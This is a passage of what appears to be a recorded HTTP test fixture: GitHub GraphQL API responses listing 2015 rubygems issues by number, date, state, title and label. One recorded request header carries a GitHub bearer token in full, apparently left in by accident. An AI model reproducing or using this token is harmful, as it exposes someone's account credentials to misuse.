windows"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wNC0xMVQwNjo0NzoxMC0wNDowMM4ECh7P","node":{"number":1220,"createdAt":"2015-04-11T10:47:10Z","closedAt":"2015-04-14T02:12:10Z","updatedAt":"2015-12-17T12:18:20Z","state":"CLOSED","title":"`ruby-head` cannot install certain gems: \"NoMethodError: undefined method spec for NilClass\"","url":"https://github.com/rubygems/rubygems/issues/1220","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wNC0xMlQxMTozNjozMy0wNDowMM4EDH92","node":{"number":1223,"createdAt":"2015-04-12T15:36:33Z","closedAt":"2016-02-11T06:43:02Z","updatedAt":"2016-02-15T15:27:11Z","state":"CLOSED","title":"RUBYGEMS_GEMDEPS: undefined method `version'' for nil:NilClass","url":"https://github.com/rubygems/rubygems/issues/1223","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wNC0xM1QxNzoxOTo1Ny0wNDowMM4EEJq/","node":{"number":1225,"createdAt":"2015-04-13T21:19:57Z","closedAt":"2016-08-02T05:34:37Z","updatedAt":"2016-08-02T05:34:37Z","state":"CLOSED","title":"adding more IO-like methods to Gem::Package::TarReader::Entry","url":"https://github.com/rubygems/rubygems/issues/1225","labels":{"nodes":[{"name":"type: feature request"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wNC0xNFQxNzowNzozNC0wNDowMM4EFS7l","node":{"number":1226,"createdAt":"2015-04-14T21:07:34Z","closedAt":"2015-04-20T17:12:34Z","updatedAt":"2015-06-05T03:09:33Z","state":"CLOSED","title":"very very slow install from rubygems.global.ssl.fastly.net","url":"https://github.com/rubygems/rubygems/issues/1226","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wNC0xNlQxNzoxOTo0Mi0wNDowMM4EHQnh","node":{"number":1227,"createdAt":"2015-04-16T21:19:42Z","closedAt":"2016-04-03T00:45:24Z","updatedAt":"2016-04-03T00:45:25Z","state":"CLOSED","title":"gem install with security protocol TLS 1.2","url":"https://github.com/rubygems/rubygems/issues/1227","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wNC0yMFQwMToyNzo0Ny0wNDowMM4EJKS2","node":{"number":1229,"createdAt":"2015-04-20T05:27:47Z","closedAt":"2016-01-06T18:24:01Z","updatedAt":"2016-01-06T23:20:40Z","state":"CLOSED","title":"`gem search --exact`?","url":"https://github.com/rubygems/rubygems/issues/1229","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wNC0yMVQwNzoxOToxMS0wNDowMM4EKVN+","node":{"number":1231,"createdAt":"2015-04-21T11:19:11Z","closedAt":"2016-02-13T03:15:24Z","updatedAt":"2016-08-13T11:52:07Z","state":"CLOSED","title":"gem install -g: unexpected token: submodules","url":"https://github.com/rubygems/rubygems/issues/1231","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wNC0yMVQyMzoyODowMi0wNDowMM4ELEd2","node":{"number":1232,"createdAt":"2015-04-22T03:28:02Z","closedAt":"2015-04-28T23:00:27Z","updatedAt":"2015-04-28T23:00:36Z","state":"CLOSED","title":"Version upload dates wrong","url":"https://github.com/rubygems/rubygems/issues/1232","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wNC0yN1QxNzo1MjowOS0wNDowMM4EQawf","node":{"number":1235,"createdAt":"2015-04-27T21:52:09Z","closedAt":"2016-01-19T21:23:40Z","updatedAt":"2016-01-19T21:23:40Z","state":"CLOSED","title":"unable to convert \"\\x89\" from ASCII-8BIT to UTF-8 for xxx/xxx.xx, skipping causes halt","url":"https://github.com/rubygems/rubygems/issues/1235","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wNC0yOFQyMTo1NDozNC0wNDowMM4ERuld","node":{"number":1236,"createdAt":"2015-04-29T01:54:34Z","closedAt":"2015-05-04T14:38:58Z","updatedAt":"2015-05-04T14:38:58Z","state":"CLOSED","title":"Master raises exception when calling `gem` method","url":"https://github.com/rubygems/rubygems/issues/1236","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wNC0zMFQxMzoyMDo0Mi0wNDowMM4EThF6","node":{"number":1238,"createdAt":"2015-04-30T17:20:42Z","closedAt":"2015-04-30T19:11:10Z","updatedAt":"2015-04-30T20:09:23Z","state":"CLOSED","title":"Too many queries making it slow","url":"https://github.com/rubygems/rubygems/issues/1238","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wNS0wMVQxNTowMTowNi0wNDowMM4EUjn9","node":{"number":1240,"createdAt":"2015-05-01T19:01:06Z","closedAt":null,"updatedAt":"2016-06-09T09:21:16Z","state":"OPEN","title":"Gemfile.lock should NOT contain private credentials in source urls","url":"https://github.com/rubygems/rubygems/issues/1240","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wNS0wM1QyMDo1NjozNC0wNDowMM4EWD4K","node":{"number":1242,"createdAt":"2015-05-04T00:56:34Z","closedAt":"2016-04-03T01:24:45Z","updatedAt":"2016-04-03T01:24:54Z","state":"CLOSED","title":"Require ''digest/sha1'' fails","url":"https://github.com/rubygems/rubygems/issues/1242","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wNS0wNFQxMTowNjowMy0wNDowMM4EWpM1","node":{"number":1243,"createdAt":"2015-05-04T15:06:03Z","closedAt":"2015-05-04T23:13:26Z","updatedAt":"2015-05-04T23:13:26Z","state":"CLOSED","title":"An interrupted gem update is registered as a succeeded update","url":"https://github.com/rubygems/rubygems/issues/1243","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wNS0wNVQwNzowMzo1MS0wNDowMM4EXjH6","node":{"number":1245,"createdAt":"2015-05-05T11:03:51Z","closedAt":null,"updatedAt":"2016-06-09T09:21:40Z","state":"OPEN","title":"require ''openssl'' failure won''t be detected properly under JRuby","url":"https://github.com/rubygems/rubygems/issues/1245","labels":{"nodes":[{"name":"status: ready"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wNS0wOVQxNjo1ODowOC0wNDowMM4EdLTk","node":{"number":1246,"createdAt":"2015-05-09T20:58:08Z","closedAt":null,"updatedAt":"2016-11-02T20:23:16Z","state":"OPEN","title":"Please consider simplifying the API for obtaining dependencies of a given gem-based project.","url":"https://github.com/rubygems/rubygems/issues/1246","labels":{"nodes":[{"name":"contribution: unclaimed"},{"name":"type: feature request"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wNS0xMFQxNTowNTowNC0wNDowMM4EeBjM","node":{"number":1247,"createdAt":"2015-05-10T19:05:04Z","closedAt":"2015-08-02T04:41:22Z","updatedAt":"2015-08-02T04:41:22Z","state":"CLOSED","title":"Warn about invalid SPDX license identifiers","url":"https://github.com/rubygems/rubygems/issues/1247","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wNS0xMVQwODo0MDozNi0wNDowMM4Ee5ee","node":{"number":1248,"createdAt":"2015-05-11T12:40:36Z","closedAt":"2016-01-06T22:39:54Z","updatedAt":"2016-01-06T22:39:54Z","state":"CLOSED","title":"Please consider adding --norc to avoid having to load any .gemrc file - thanks!","url":"https://github.com/rubygems/rubygems/issues/1248","labels":{"nodes":[{"name":"category: command"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wNS0xOFQwOTo0NTo1Ni0wNDowMM4EoQpc","node":{"number":1254,"createdAt":"2015-05-18T13:45:56Z","closedAt":"2016-02-28T00:14:37Z","updatedAt":"2016-02-29T21:37:37Z","state":"CLOSED","title":"installing a gem fails if there''s a non gemspec .gem file in the cwd","url":"https://github.com/rubygems/rubygems/issues/1254","labels":{"nodes":[{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wNS0xOVQxMzoyODozMS0wNDowMM4EqO4A","node":{"number":1255,"createdAt":"2015-05-19T17:28:31Z","closedAt":"2015-11-04T03:17:35Z","updatedAt":"2015-11-04T03:17:35Z","state":"CLOSED","title":"tar_writer split_name has untrapped error if name > 100 bytes and no slashes","url":"https://github.com/rubygems/rubygems/issues/1255","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wNS0yNlQxOTo1ODoyMC0wNDowMM4E1uOO","node":{"number":1256,"createdAt":"2015-05-26T23:58:20Z","closedAt":"2016-04-04T22:03:45Z","updatedAt":"2016-08-16T03:20:55Z","state":"CLOSED","title":"Backport 65ab980dbc13d1b8e95b7d1f7266406720718c24 to 2.4.x","url":"https://github.com/rubygems/rubygems/issues/1256","labels":{"nodes":[{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wNS0yNlQyMzowNDozMy0wNDowMM4E171U","node":{"number":1259,"createdAt":"2015-05-27T03:04:33Z","closedAt":"2015-05-27T15:32:04Z","updatedAt":"2015-05-27T15:32:04Z","state":"CLOSED","title":"Tests fail when ruby is configured with different program prefix and suffix","url":"https://github.com/rubygems/rubygems/issues/1259","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wNS0yN1QwOTo0MDozNC0wNDowMM4E2tnC","node":{"number":1260,"createdAt":"2015-05-27T13:40:34Z","closedAt":"2016-04-03T01:57:03Z","updatedAt":"2016-04-03T01:57:03Z","state":"CLOSED","title":"RubyGems can''t find JRuby''s Java extensions defined in default_ext_dir_for paths","url":"https://github.com/rubygems/rubygems/issues/1260","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wNS0yN1QxMzowMjoxNi0wNDowMM4E3BqB","node":{"number":1261,"createdAt":"2015-05-27T17:02:16Z","closedAt":"2015-06-02T15:13:17Z","updatedAt":"2015-06-02T15:13:17Z","state":"CLOSED","title":"Load error while attempting to run ruby setup.rb","url":"https://github.com/rubygems/rubygems/issues/1261","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wNS0yN1QxNjowNzozNy0wNDowMM4E3SvX","node":{"number":1263,"createdAt":"2015-05-27T20:07:37Z","closedAt":"2017-07-14T11:34:17Z","updatedAt":"2017-07-14T11:34:17Z","state":"CLOSED","title":"Make Gem::Specification#required_ruby_version more flexible","url":"https://github.com/rubygems/rubygems/issues/1263","labels":{"nodes":[{"name":"type: feature request"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wNS0yOFQwODo1MDozMC0wNDowMM4E4eaL","node":{"number":1264,"createdAt":"2015-05-28T12:50:30Z","closedAt":"2015-05-28T14:38:23Z","updatedAt":"2015-05-28T18:50:46Z","state":"CLOSED","title":"No ipv6","url":"https://github.com/rubygems/rubygems/issues/1264","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wNS0yOFQxMDoyNjozMC0wNDowMM4E4n94","node":{"number":1265,"createdAt":"2015-05-28T14:26:30Z","closedAt":"2015-05-28T16:48:00Z","updatedAt":"2015-05-28T20:03:47Z","state":"CLOSED","title":"rubygems incompatible with $SAFE=1","url":"https://github.com/rubygems/rubygems/issues/1265","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wNS0yOFQxMTowNTo0Ny0wNDowMM4E4svB","node":{"number":1266,"createdAt":"2015-05-28T15:05:47Z","closedAt":"2015-05-28T18:32:50Z","updatedAt":"2015-05-28T18:32:50Z","state":"CLOSED","title":"Add gemspec#add_optional_dependency","url":"https://github.com/rubygems/rubygems/issues/1266","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wNS0yOFQxMzowOTozMi0wNDowMM4E47lH","node":{"number":1267,"createdAt":"2015-05-28T17:09:32Z","closedAt":"2015-06-25T18:36:00Z","updatedAt":"2017-10-08T03:20:06Z","state":"CLOSED","title":"Unresolved specs during Gem::Specification.reset: minitest (~> 5.1)","url":"https://github.com/rubygems/rubygems/issues/1267","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wNS0yOVQyMDo1Nzo0MS0wNDowMM4E7SGb","node":{"number":1269,"createdAt":"2015-05-30T00:57:41Z","closedAt":"2015-06-08T17:35:51Z","updatedAt":"2015-06-08T17:35:51Z","state":"CLOSED","title":"IPv6 literal not recognised for --http-proxy config option","url":"https://github.com/rubygems/rubygems/issues/1269","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wNS0zMFQwOTowMjoxOC0wNDowMM4E744b","node":{"number":1270,"createdAt":"2015-05-30T13:02:18Z","closedAt":"2016-02-12T07:03:09Z","updatedAt":"2016-02-12T07:03:09Z","state":"CLOSED","title":"Continuous Integration for Windows via Appveyor","url":"https://github.com/rubygems/rubygems/issues/1270","labels":{"nodes":[{"name":"platform: windows"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wNi0wMVQxMzowOToxOS0wNDowMM4E+76t","node":{"number":1273,"createdAt":"2015-06-01T17:09:19Z","closedAt":"2015-06-02T14:09:44Z","updatedAt":"2015-06-02T14:09:44Z","state":"CLOSED","title":"When validating, check file exists before .stat ing it","url":"https://github.com/rubygems/rubygems/issues/1273","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wNi0wMVQxMzoyMDo1MS0wNDowMM4E+8yv","node":{"number":1274,"createdAt":"2015-06-01T17:20:51Z","closedAt":"2015-08-28T19:38:18Z","updatedAt":"2016-11-30T18:25:33Z","state":"CLOSED","title":"Error: IPv6 address must be 16 bytes","url":"https://github.com/rubygems/rubygems/issues/1274","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wNi0wNFQwMDozNDoyMi0wNDowMM4FD5Ik","node":{"number":1279,"createdAt":"2015-06-04T04:34:22Z","closedAt":"2015-06-08T22:57:48Z","updatedAt":"2015-07-20T10:40:42Z","state":"CLOSED","title":"Unable to install any gems on Windows","url":"https://github.com/rubygems/rubygems/issues/1279","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wNi0wNVQxMDowODowMi0wNDowMM4FGUXn","node":{"number":1280,"createdAt":"2015-06-05T14:08:02Z","closedAt":"2016-02-29T02:04:58Z","updatedAt":"2016-02-29T02:04:59Z","state":"CLOSED","title":"uninitialized constant Gem::NoAliasYAMLTree with JRuby dev","url":"https://github.com/rubygems/rubygems/issues/1280","labels":{"nodes":[{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wNi0wNVQxNzo1NzozNS0wNDowMM4FGsfy","node":{"number":1281,"createdAt":"2015-06-05T21:57:35Z","closedAt":"2015-06-29T17:31:16Z","updatedAt":"2015-06-29T17:31:16Z","state":"CLOSED","title":"Gem.install doesn''t work when a requirement already exists","url":"https://github.com/rubygems/rubygems/issues/1281","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wNi0wOVQxODozMzozMi0wNDowMM4FK8y+","node":{"number":1284,"createdAt":"2015-06-09T22:33:32Z","closedAt":"2015-06-09T22:40:04Z","updatedAt":"2015-06-09T22:40:04Z","state":"CLOSED","title":"Gem client not installing the latest version","url":"https://github.com/rubygems/rubygems/issues/1284","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wNi0xMVQxMToxMToyOC0wNDowMM4FNU3t","node":{"number":1285,"createdAt":"2015-06-11T15:11:28Z","closedAt":"2016-06-05T00:57:53Z","updatedAt":"2016-06-05T00:57:53Z","state":"CLOSED","title":"gem install doesn''t update .so files if changed","url":"https://github.com/rubygems/rubygems/issues/1285","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wNi0xMVQxNTozMToyOS0wNDowMM4FNqyh","node":{"number":1286,"createdAt":"2015-06-11T19:31:29Z","closedAt":"2016-02-09T05:14:45Z","updatedAt":"2016-02-15T15:27:11Z","state":"CLOSED","title":"`gem install --file` (NoMethodError)","url":"https://github.com/rubygems/rubygems/issues/1286","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wNi0xMlQxNDo0OTozOS0wNDowMM4FO/+t","node":{"number":1287,"createdAt":"2015-06-12T18:49:39Z","closedAt":"2016-04-03T02:07:06Z","updatedAt":"2016-04-03T02:07:06Z","state":"CLOSED","title":"Warn when `Gem::Specification.load` fails?","url":"https://github.com/rubygems/rubygems/issues/1287","labels":{"nodes":[{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wNi0xNlQwMTozOToxOC0wNDowMM4FSFBU","node":{"number":1289,"createdAt":"2015-06-16T05:39:18Z","closedAt":"2015-07-14T18:44:51Z","updatedAt":"2015-07-14T18:44:51Z","state":"CLOSED","title":"Test suite fails with openssl-1.0.2c","url":"https://github.com/rubygems/rubygems/issues/1289","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wNi0xNlQyMTozNTo0OS0wNDowMM4FTEQC","node":{"number":1291,"createdAt":"2015-06-17T01:35:49Z","closedAt":"2016-01-17T05:20:57Z","updatedAt":"2016-01-18T22:09:35Z","state":"CLOSED","title":"Warning emitted for missing email","url":"https://github.com/rubygems/rubygems/issues/1291","labels":{"nodes":[{"name":"category: gem spec"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wNi0xOFQwMzoxOTo1Ny0wNDowMM4FUWKn","node":{"number":1292,"createdAt":"2015-06-18T07:19:57Z","closedAt":"2015-06-18T07:52:53Z","updatedAt":"2015-06-18T07:53:00Z","state":"CLOSED","title":"rubygems.global.ssl.fastly.net timing out","url":"https://github.com/rubygems/rubygems/issues/1292","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wNi0xOFQxNzozMDo0MC0wNDowMM4FVC33","node":{"number":1293,"createdAt":"2015-06-18T21:30:40Z","closedAt":"2015-11-04T02:51:38Z","updatedAt":"2015-11-04T02:51:38Z","state":"CLOSED","title":"Unable to install pry gem on Windows 7","url":"https://github.com/rubygems/rubygems/issues/1293","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wNi0xOFQyMDowODo0My0wNDowMM4FVJMO","node":{"number":1294,"createdAt":"2015-06-19T00:08:43Z","closedAt":"2016-04-05T01:18:16Z","updatedAt":"2016-04-05T01:18:19Z","state":"CLOSED","title":"i18n 0.7.0","url":"https://github.com/rubygems/rubygems/issues/1294","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wNi0yMVQxNDozMzo1NC0wNDowMM4FXG+I","node":{"number":1295,"createdAt":"2015-06-21T18:33:54Z","closedAt":"2016-01-08T18:36:30Z","updatedAt":"2016-01-09T22:22:02Z","state":"CLOSED","title":"Ruby installation problem . There has been an error while trying to extract rubygems. Halting the installation. ","url":"https://github.com/rubygems/rubygems/issues/1295","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wNi0yNlQwODozNzowNy0wNDowMM4FcDTm","node":{"number":1296,"createdAt":"2015-06-26T12:37:07Z","closedAt":null,"updatedAt":"2016-06-09T09:21:16Z","state":"OPEN","title":"Standardize +requirements+ field from the specification","url":"https://github.com/rubygems/rubygems/issues/1296","labels":{"nodes":[{"name":"type: feature request"}]}}}]}}}}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:27 GMT - request: method: post uri: https://api.github.com/graphql body: encoding: UTF-8 string: '{"query":"query {\n repository(owner: \"rubygems\", name: \"rubygems\") {\n issues(first: 100, after: \"Y3Vyc29yOnYyOpK5MjAxNS0wNi0yNlQwODozNzowNy0wNDowMM4FcDTm\", orderBy:{field: CREATED_AT, direction: ASC}) {\n edges {\n cursor\n node {\n number\n createdAt\n closedAt\n updatedAt\n state\n title\n url\n labels(first: 100) {\n nodes {\n name\n }\n }\n }\n }\n }\n }\n}"}' headers: Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 Accept: - application/vnd.github.v4.idl User-Agent: - Ruby Host: - api.github.com Authorization: - bearer 9182777ff3c006795193a570cdac326b64459dc9 Bearer-Token: - 9182777ff3c006795193a570cdac326b64459dc9 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:28 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4976' X-Ratelimit-Reset: - '1515254347' Cache-Control: - no-cache X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - repo X-Github-Media-Type: - github.v4; param=idl Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.533576' X-Github-Request-Id: - C67C:4D96:971F93:13A4C1E:5A50E48B body: encoding: ASCII-8BIT string: '{"data":{"repository":{"issues":{"edges":[{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wNi0zMFQxMDo0MTo1Ny0wNDowMM4FfYb2","node":{"number":1299,"createdAt":"2015-06-30T14:41:57Z","closedAt":"2015-11-09T21:14:49Z","updatedAt":"2015-11-09T21:14:49Z","state":"CLOSED","title":"Problems matching binary gems for OSX Yosemite, ruby > 2.1","url":"https://github.com/rubygems/rubygems/issues/1299","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wNy0wMlQxNTowNzo1Mi0wNDowMM4Fhqm7","node":{"number":1300,"createdAt":"2015-07-02T19:07:52Z","closedAt":"2015-10-05T21:58:30Z","updatedAt":"2017-07-25T09:59:18Z","state":"CLOSED","title":"Cannot update bundler: no implicit conversion of nil into String","url":"https://github.com/rubygems/rubygems/issues/1300","labels":{"nodes":[{"name":"category: install"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wNy0wM1QwMzoxMDo0My0wNDowMM4FiCkg","node":{"number":1302,"createdAt":"2015-07-03T07:10:43Z","closedAt":"2016-04-30T20:55:22Z","updatedAt":"2016-04-30T22:22:38Z","state":"CLOSED","title":"minor issue: `gem list -q -i foo` produces output","url":"https://github.com/rubygems/rubygems/issues/1302","labels":{"nodes":[{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wNy0wM1QxODo1OToyOC0wNDowMM4FikAS","node":{"number":1303,"createdAt":"2015-07-03T22:59:28Z","closedAt":null,"updatedAt":"2016-04-30T21:48:26Z","state":"OPEN","title":"`gem server` seems to not REALLY be doing what it says the defaults are","url":"https://github.com/rubygems/rubygems/issues/1303","labels":{"nodes":[{"name":"category: other"},{"name":"status: ready"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wNy0wM1QyMDo0ODo0My0wNDowMM4FimME","node":{"number":1304,"createdAt":"2015-07-04T00:48:43Z","closedAt":"2016-01-17T05:10:10Z","updatedAt":"2016-01-18T22:09:35Z","state":"CLOSED","title":"Possible inconsistent pessimist versioning behaviour","url":"https://github.com/rubygems/rubygems/issues/1304","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wNy0wNlQxODowMzoyNS0wNDowMM4FkPn9","node":{"number":1307,"createdAt":"2015-07-06T22:03:25Z","closedAt":"2015-10-09T13:56:33Z","updatedAt":"2015-10-09T13:56:33Z","state":"CLOSED","title":"(ArgumentError) marshal data too short","url":"https://github.com/rubygems/rubygems/issues/1307","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wNy0wN1QxMDoxOTozNC0wNDowMM4Fk1fv","node":{"number":1309,"createdAt":"2015-07-07T14:19:34Z","closedAt":null,"updatedAt":"2016-06-09T09:21:16Z","state":"OPEN","title":"Can''t activate gem, already activated gem with different version","url":"https://github.com/rubygems/rubygems/issues/1309","labels":{"nodes":[{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wNy0wN1QxNTo1NTowNC0wNDowMM4FlHGS","node":{"number":1310,"createdAt":"2015-07-07T19:55:04Z","closedAt":"2015-10-16T15:10:18Z","updatedAt":"2016-01-01T21:25:00Z","state":"CLOSED","title":"PATH warning and `gem install` not installing to $GEM_HOME","url":"https://github.com/rubygems/rubygems/issues/1310","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wNy0xMVQxMTo0NTo1Mi0wNDowMM4FobkC","node":{"number":1311,"createdAt":"2015-07-11T15:45:52Z","closedAt":"2015-07-24T00:38:01Z","updatedAt":"2016-04-28T22:03:34Z","state":"CLOSED","title":"How to bypass httpclient certificate validation","url":"https://github.com/rubygems/rubygems/issues/1311","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wNy0xNVQxNTozOTozNC0wNDowMM4FrcHs","node":{"number":1313,"createdAt":"2015-07-15T19:39:34Z","closedAt":"2016-04-30T21:59:24Z","updatedAt":"2016-04-30T21:59:24Z","state":"CLOSED","title":"Installation of packages behind proxy that uses authentication","url":"https://github.com/rubygems/rubygems/issues/1313","labels":{"nodes":[{"name":"status: blocked / backlog"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wNy0xN1QxNzo1NzoxOS0wNDowMM4FtROe","node":{"number":1315,"createdAt":"2015-07-17T21:57:19Z","closedAt":"2015-07-17T21:59:04Z","updatedAt":"2015-07-17T21:59:04Z","state":"CLOSED","title":"Gem.install raises LoadError","url":"https://github.com/rubygems/rubygems/issues/1315","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wNy0yMFQwODozNzo0MC0wNDowMM4Fua5r","node":{"number":1316,"createdAt":"2015-07-20T12:37:40Z","closedAt":"2016-04-30T22:20:32Z","updatedAt":"2016-04-30T22:20:32Z","state":"CLOSED","title":"`gem rdoc` generate documents not found css and js files. HTTP 404","url":"https://github.com/rubygems/rubygems/issues/1316","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wNy0yMVQwMToxMzozMC0wNDowMM4FvFaz","node":{"number":1317,"createdAt":"2015-07-21T05:13:30Z","closedAt":"2015-07-21T21:42:19Z","updatedAt":"2015-07-21T21:42:27Z","state":"CLOSED","title":"SSL issue with DNS","url":"https://github.com/rubygems/rubygems/issues/1317","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wNy0yM1QwNDo0Mjo0NS0wNDowMM4FxHyl","node":{"number":1318,"createdAt":"2015-07-23T08:42:45Z","closedAt":"2015-07-23T22:44:26Z","updatedAt":"2015-07-23T22:44:26Z","state":"CLOSED","title":"An error occurred while installing cairo (1.14.1), and Bundler cannot continue. Make sure that `gem install cairo -v ''1.14.1''` succeeds before bundling.","url":"https://github.com/rubygems/rubygems/issues/1318","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wNy0yN1QxMToxNDo1My0wNDowMM4Fz4kV","node":{"number":1319,"createdAt":"2015-07-27T15:14:53Z","closedAt":"2015-07-27T21:16:57Z","updatedAt":"2015-07-27T21:17:05Z","state":"CLOSED","title":"Documentation link problems","url":"https://github.com/rubygems/rubygems/issues/1319","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wNy0yOFQwOToxMDowMy0wNDowMM4F0tTI","node":{"number":1320,"createdAt":"2015-07-28T13:10:03Z","closedAt":"2016-04-30T22:30:09Z","updatedAt":"2016-04-30T22:30:09Z","state":"CLOSED","title":"Gem Server error 404 not found .rz","url":"https://github.com/rubygems/rubygems/issues/1320","labels":{"nodes":[{"name":"platform: windows"},{"name":"status: blocked / backlog"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wNy0zMFQwNzowMjo0MS0wNDowMM4F2YV7","node":{"number":1323,"createdAt":"2015-07-30T11:02:41Z","closedAt":"2016-04-30T22:35:38Z","updatedAt":"2016-04-30T22:35:38Z","state":"CLOSED","title":"Bug or feature? System gems used when RUBYGEMS_GEMDEPS is set","url":"https://github.com/rubygems/rubygems/issues/1323","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wOC0wM1QyMDowMToxMy0wNDowMM4F5IFJ","node":{"number":1325,"createdAt":"2015-08-04T00:01:13Z","closedAt":"2017-03-11T17:31:30Z","updatedAt":"2017-03-11T17:31:30Z","state":"CLOSED","title":"Potentially incomplete CVE-2015-3900 advisory information.","url":"https://github.com/rubygems/rubygems/issues/1325","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNS0wOC0xMlQyMDo1OToxNS0wNDowMM4GABBC","node":{"number":1326,"createdAt":"2015-08-13T00:59:15Z","closedAt":"2015-08-16T15:12:29Z","updatedAt":"2015-08-16T15:12:29Z","state":"CLOSED","title":"Can''t push my 